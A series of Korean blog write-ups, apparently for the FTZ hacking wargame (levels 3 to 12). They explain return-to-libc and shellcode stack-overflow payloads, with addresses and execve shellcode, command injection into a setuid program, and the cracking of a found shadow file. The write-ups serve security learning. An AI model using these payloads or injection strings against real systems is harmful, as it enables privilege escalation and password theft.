힌트를 보면 gets함수를 사용해 입력한 값을 str버퍼에 저장한다. 버퍼의 크기를 gdb를 통해 확인해보자.


버퍼의 크기를 보기 위해 원본파일을 tmp파일에 복사한 후 gdb로 열었다.

버퍼의 크기를 0x108 즉, 264바이트를 할당했다.


필터기능도 없고 단순하게 RTL로 풀면 되겠다.


RTL을 위해 일단 system 함수의 주소를 gdb로 찾았다.

system함수의 주소는 0x4203f2c0이다.


그리고 /bin/sh의 위치도 찾았다.

/bin/sh의 주소는 0x42127ea4다.


쉘을 얻었다.


'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level14@ftz  (0) 2017.11.21
[FTZ] level13@ftz  (0) 2017.11.21
[FTZ] level11@ftz  (0) 2017.11.10
[FTZ] level10@ftz  (0) 2017.11.10
[FTZ] level9@ftz  (0) 2017.11.09

이번 문제는 bof문제다. 버퍼오버플로우가 일어나기 쉬운 strcpy함수를 사용했다. 

버퍼에 쉘코드를 삽입하고 쉘코드의 주소로 eip 주소를 바꾸는 방법과 rtl로 푸는 방법이 있다. 먼저 rtl로 푸는 방법부터 설명한다.


RTL (Return to Library) 

소스에는 버퍼에 256바이트가 할당되었다. 더미값이 있는지 확인하기 위해 문제에 있는 attackme파일을 tmp파일로 옮겨 gdb로 확인해봐야겠다.


소스는 256바이트를 할당했는데 gdb로 확인하니 264 바이트의 버퍼가 있다. 더미로 8바이트가 있다는 것이다.

RTL 기법을 이용하려면 일단 system 함수의 주소와 /bin/sh의 주소를 알아야 한다. gdb로 확인한다.


먼저 main함수에 BP를 건다.


p 명령을 이용해 system 함수의 주소를 찾았다. 주소는 0x4203f2c0이다.


#include <stdio.h>

int main(int argc, char **argv)
{
        long shell;
        shell = 0x4203f2c0;  // <=== system()... ..
        while(memcmp((void*)shell,"/bin/sh",8)) shell++;
        printf("\"/bin/sh\" is at 0x%x\n",shell);
}

위 코드는 /bin/sh의 주소를 찾는 소스코드다.


컴파일 하고 실행하면 /bin/sh의 주소가 나온다.


이제 필요한 정보를 다 찾았으니 payload를 작성한다.

먼저 스택의 구조를 살펴보면 아래와 같다.

BUFFER[264]

 SFP[4]

 RET[4]

dummy[~]

 


그리고 이 스택에 payload를 아래와 같이 입력한다.


\x90\x90..................\x90\x90 

\x90\x90\x90\x90[

 system()주소

\x90\x90\x90\x90 

 /bin/sh의 주소



리틀엔디언 방식으로 입력하여 payload는 아래와 같다.

`python -c 'print "\x90"*268+"\xc0\xf2\x03\x42"+"\x90"*4+"\xa4\x7e\x12\x42"'`


EIP 주소를 변경해 쉘코드 실행하기

공격을 하기 전에 공격을 위한 쉘코드가 필요하다.

난 쉽게 구할 수 있는 25바이트 쉘코드를 사용할 것이다.

Sell Code : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


버퍼는 264바이트의 크기를 가진다. 따라서 sfp까지를 임의의 값으로 바꾸고 eip주소로 넣을 주소를 마지막 4바이트에 추가하면 된다.

일단 페이로드를 작성하고 core dump로 확인하면서 페이로드를 만들어 가면 된다.

쉘코드가 25바이트 이므로 243바이트의 NOP sled를 주고 쉘코드로 25바이트를 주면 268바이트 즉 sfp까지 값을 줄 수 있다.

그리고 뒤 4바이트는 일단 임의의 AAAA라는 값을 주고 core dump로 확인해본다.


우선 core dump를 확인하려면 내 권한이 있어야 하므로 공격할 프로그램을 tmp 파일로 복사한 후 ulimit -c unlimited로 core dump를 생성하는 명령을 사용한다.


페이로드는 아래와 같다.

`python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"AAAA"'`

코어 덤프가 생성되었다.


코어덤프를 gdb로 열어서 화인하면 0x41414141이란 주소에서 seg fault가 터졌다. eip 위치를 정확히 찾아서 AAAA라는 값을 집어넣은 것이다.


gdb) x/100x $esp 로 스택의 값을 확인하다보면 내가 입력한 버퍼의 위치를 찾을 수 있다.

NOP sled가 있는 주소 중 아무거나 선택해서 마지막 4바이트에 채워넣고 실행해본다.

난 0xbffffb50를 eip 주소로 할 것이다.


새로운 페이로드는 아래와 같다.

`python -c 'print "\x90"*243+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x50\xfb\xff\xbf"'`



새 페이로드로 공격을 하니 성공적으로 쉘을 획득했다. 하지만 setreuid가 level12로 설정된 파일이 아니여서 권한은 level11이다. 이제 공격할 프로그램을 대상으로 페이로드를 사용해보겠다.

성공적으로 쉘을 얻었으며 level12의 password도 찾았다.



'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level13@ftz  (0) 2017.11.21
[FTZ] level12@ftz  (0) 2017.11.10
[FTZ] level10@ftz  (0) 2017.11.10
[FTZ] level9@ftz  (0) 2017.11.09
[FTZ] level8@ftz  (0) 2017.11.09

공유메모리를 사용해 대화를 도청하라는 힌트가 주어졌다. key_t의 값은 7530이라고 한다. 7530을 이용해 둘의 공유 메모리를 같이 공유하라는 의미 같다.


공유메모리에 대해 먼저 알아봤다.


공유 메모리

공유메모리는 여러 프로그램이 동시에 접근할 수 있는 메모리라고 한다.

프로세스는 자신만의 메모리 영역을 가지고 있기 때문에 다른 프로세스에서 메모리 영역을 침범하려고 하면 커널은 침범 프로세스에 SIGSEGV 경고 시그널을 보낸다고 한다.

하지만 메모리 영역에 있는 데이터를 다른 프로세스에서 사용할 수 있어야 할 때가 있을 때를 위해 메모리 영역을 공유할 수 있다.

이 공유메모리를 이용해 프로세스끼리 통신도 할 수 있으며 같은 데이터를 공유할 수 있다.  

다시말해 공유메모리를 사용하는 방법은 공유메모리를 생성한 후 이 메모리가 필요한 프로세스는 필요할 때 자신의 프로세스에 첨부를 한 후 다른 메모리를 사용하듯 사용하면 된다.


아래는 공유메모리 함수들에 대한 설명이다.


shmget

공유메모리 생성

 헤더

 #include <sys/ipc.h>

 #include <sys/shm.h>

 형태

 int shmget(key_t key, int size, int shmflg);

 인수

 key_t key : 공유 메모리를 구별하는 식별 번호 

 int size : 공유 메모리 크기

 int shmflg : 동작 옵션

                1. IPC_CREATE : key에 해당하는 공유 메모리가 없다면 새로 생성한다.                      만약 있다면 무시하며 생성을 위해 접근 권한을 지정해 주어야 한다.

                2.IPC_EXCL : 공유 메모리가 이미 있다면 실패로 반환하며 공유 메모리에                   접근하지 못한다.

 반환

 -1 : 실패

 -1 이외 : 공유 메모리 생성 성공, 공유 메모리 식별자



shmat

공유메모리 연결

 헤더 

 #include <sys/ipc.h>

 #include <sys/shm.h>

 형태

 void *shmat(int shmid, const void *shmaddr, int shmflg)

 인수

 int shmid : 공유메모리를 구별하는 식별 번호

 void *shmaddr : 첨부되는 어드레스 주소, 일반적으로 NULL 지정

 int shmflg : 동작 옵션

                 1. SHM_RDONLY : 공유 메모리를 읽기 전용으로

                 2. SHM_RND : shmaddr이 NULL이 아닌 경우일 때 사용되며, shmaddr                    을 반올림하여 메모리 페이지 경계에 맞춘다. 

 반환

 (void *)-1 이외 : 프로세스에 첨부된 프로세스에서의 공유 메모리 주소(성공 시 해당  공유 메모리의 첫 번째 바이트에 대한 포인터를 반환)

 (void *) -1 : 실패



shmdt

공유 메모리 분리


 헤더

 #include <sys/type.h>

 #include <sys.shm.h>

 형태

 int shmdt(const void *shmaddr);

 인수

 void * shmaddr : 분리할 공유 메모리 주소

 반환

-1 : 실패

0 : 공유 메모리 분리 성공 



이제 위 설명 대로 공유 메모리를 생성해 답을 훔쳐보는 코드를 작성한다.


해당 코드를 컴파일 하여 실행하면 답이 나온다.













'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level12@ftz  (0) 2017.11.10
[FTZ] level11@ftz  (0) 2017.11.10
[FTZ] level9@ftz  (0) 2017.11.09
[FTZ] level8@ftz  (0) 2017.11.09
[FTZ] level7@ftz  (0) 2017.11.09

버퍼오버플로우 문제다. 일단 스택의 구조는 먼저 선언된 변수가 스택의 아래, 다시말해 스택의 높은 주소에 위치하게 된다.


buf[10]

buf2[10]


구조는 이렇다.

소스를 보면 buf2의 2바이트가 go면 setreuid를 level10으로 설정하고 bash 쉘을 실행한다.

일단 소스대로 10바이트까지 무작위로 buf에 넣고 나머지 2바이트를 go로 하고 푸니 안됐다.


아마 더미값이 있는 것 같다.


더미값이 얼마나 있는지 추측이 어려워 go라는 문자열을 20바이트를 보냈고 쉘을 얻었다.



'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level11@ftz  (0) 2017.11.10
[FTZ] level10@ftz  (0) 2017.11.10
[FTZ] level8@ftz  (0) 2017.11.09
[FTZ] level7@ftz  (0) 2017.11.09
[FTZ] level6@ftz  (0) 2017.11.09

용량이 2700인 shadow 파일이 숨겨져 있다고 한다.

간단하게 find 명령어를 이용해 찾으면 된다.


이전 문제와는 다르게 용량을 찾는 옵션을 추가해줘야한다. 

해당 옵션은 -size 이며 추가적으로 원하는 용량을 인자로 줘야한다. 찾는 용량은 2700이므로 2700을 준다.

find / -size 2700c 2> /dev/null

2700옆의 c는 찾고자 하는 용량의 단위가 byte라는 표시다. 만약 아무것도 안붙이면 b를 붙인것과 동일한 한블록인 512kb단위로 찾는다.

/etc/rc.d/found.txt라는 파일이 의심스럽다. 


cat으로 확인해보니 shadow 파일이 맞다.


브루트포싱을 돌려 비밀번호를 찾아내기 위해 일단 found.txt파일을 내 로컬 pc로 옮긴다.

명령은 scp를 사용해 옮겼다. scp 명령은 로컬파일을 원격지로, 원격파일을 로컬로 안전하게 복사해가는 명령이다.

사용 예

scp -P 22 <username@원격서버주소:파일주소/파일명> <로컬저장위치>
위 명령은 원격파일을 로컬로 복사하는 방법이다. P옵션은 ssh 포트가 22를 사용하면 생략해도 무관하다.


그리고 존더리퍼를 사용해 크랙을 했다. password가 잘 나온다.



'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level10@ftz  (0) 2017.11.10
[FTZ] level9@ftz  (0) 2017.11.09
[FTZ] level7@ftz  (0) 2017.11.09
[FTZ] level6@ftz  (0) 2017.11.09
[FTZ] level5@ftz  (0) 2017.11.09

문제 hint는 /bin/level7을 실행하면 패스워드 입력을 요청한다고 한다.

패스워드 힌트가 가까이 있다고 한다.


또 다른 hint로 --_- 같은 부호가 있다.

일반적으로 이런 기호는 1과 0을 나타내는데 많이 사용하니까 1, 0으로 비교해봤다.


처음에는 전체 값을 2진수에서 10진수로 변환해서 정수를 입력했는데 답이 틀렸다고 한다.

그래서 8비트씩 끊어서 10진수로 변환하니 아스키 코드 같은 느낌이 오는 숫자가 나왔다.


python으로 변환해서 보니 mate라는 문자열이 나온다.


mate를 입력하니 문제가 풀렸다.





'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level9@ftz  (0) 2017.11.09
[FTZ] level8@ftz  (0) 2017.11.09
[FTZ] level6@ftz  (0) 2017.11.09
[FTZ] level5@ftz  (0) 2017.11.09
[FTZ] level4@ftz  (0) 2017.11.09

문제에 접속하면 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다. 라고 적혀있다.

쉘도 없어서 당황했지만 ctrl+c를 누르면 쉘이 나온다.


디렉터리의 리스트를 확인해보니 password라는 파일이 있다. 이걸 열어보니 다음 레벨의 비밀번호가 나왔다.


'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level8@ftz  (0) 2017.11.09
[FTZ] level7@ftz  (0) 2017.11.09
[FTZ] level5@ftz  (0) 2017.11.09
[FTZ] level4@ftz  (0) 2017.11.09
[FTZ] level3@ftz  (0) 2017.11.08

문제 hint를 보면 /usr/bin/leve5를 실행하면 /tmp디렉터리에 level5.tmp라는 임시파일을 생성한다고 한다.


/usr/bin/level5를 실행하고 /tmp/leve5.tmp내용을 확인하려고 보니 사라졌다.

아마 생성하고 바로 삭제하는 것 같다.


일단 /tmp에 level5.tmp를 내 임의로 만들어 놓고 /usr/bin/level5를 실행한다.


/tmp/level5.tmp에 임시파일 내용이 덮어 씌워졌다.

아마 임시파일로 덮어 쓴 다음 권한이 level5가 아니라서 삭제가 안된 것 같다.



'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level7@ftz  (0) 2017.11.09
[FTZ] level6@ftz  (0) 2017.11.09
[FTZ] level4@ftz  (0) 2017.11.09
[FTZ] level3@ftz  (0) 2017.11.08
[FTZ] level2@ftz  (0) 2017.11.08

힌트를 보면 /etc/xinetd.d에 백도어를 심었다고 한다.

일단 해당 디렉터리 리스트를 보면 backdoor라는 텍스트 파일이 있다.


이 파일을 cat명령으로 열어보면 xinetd 설정파일이 나온다.

service명은 finger다. finger 명령은 사용자 계정 정보와 최근 로그인 정보, 이메일, 예약 작업 정보 등을 볼 수 있는 명령어이다. 

이 명령을 실행하면 level5라는 user로 /home/level4/tmp/backdoor라는 파일을 실행하도록 설정하는 xinetd 설정파일이다.

finger 명령을 실행하면 level5의 권한으로 해당 파일을 실행한다는 의미다.


위와 같은 c언어로 my-pass명령을 실행하는 소스를 짜서 /home/level4/tmp/backdoor라는 이름으로 컴파일한다.


그리고 위와 같이 finger 명령을 실행한다.

사용 예:

finger [옵션]... [사용자명 ...] [user@host ...]

host 부분에 ftz를 썼다가 아무런 반응이 없어 localhost를 쓰니 문제가 풀린다.

'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level6@ftz  (0) 2017.11.09
[FTZ] level5@ftz  (0) 2017.11.09
[FTZ] level3@ftz  (0) 2017.11.08
[FTZ] level2@ftz  (0) 2017.11.08
[FTZ] level1@ftz  (0) 2017.11.08

hint를 보면 동시에 여러 명령어를 사용하려면?

문자열 형태로 명령어를 전달하려면? 이라고 나와있다.

일단 level4의 setuid를 가지고 있는 파일을 찾는다.

$ find / -user level4 -perm -4000 2> /dev/null

/bin/autodig라는 파일이 나온다. hint에 있던 소스를 사용하는 파일인것 같다.

여러 명령어를 동시에 사용하는 방법은 ;를 사용하는 방법이 있다.

;는 명령1;명령2;명령3 이런 식으로 사용하는데 명령1이 없는 명령이더라도 명령2를 실행한다.

이를 이용하면 쉽게 풀 수 있다.

그리고 문자열 형태로 명령어를 전달하려면? 이라는 부분은 ""(더블쿼터)를 이용하면 된다.


첫번째 인자가 가운데 명령어로 들어가는 점을 파악했으니 ";id;"를 주면 명령1;id;명령3을 실행해서

id를 실행시켜준다. 같은 방법으로 ";my-pass;"를 인자로 주면 level4의 권한으로 my-pass를 실행해 password를 출력하면서 문제를 클리어할 수 있다.


'Wargame > FTZ' 카테고리의 다른 글

[FTZ] level6@ftz  (0) 2017.11.09
[FTZ] level5@ftz  (0) 2017.11.09
[FTZ] level4@ftz  (0) 2017.11.09
[FTZ] level2@ftz  (0) 2017.11.08
[FTZ] level1@ftz  (0) 2017.11.08

+ Recent posts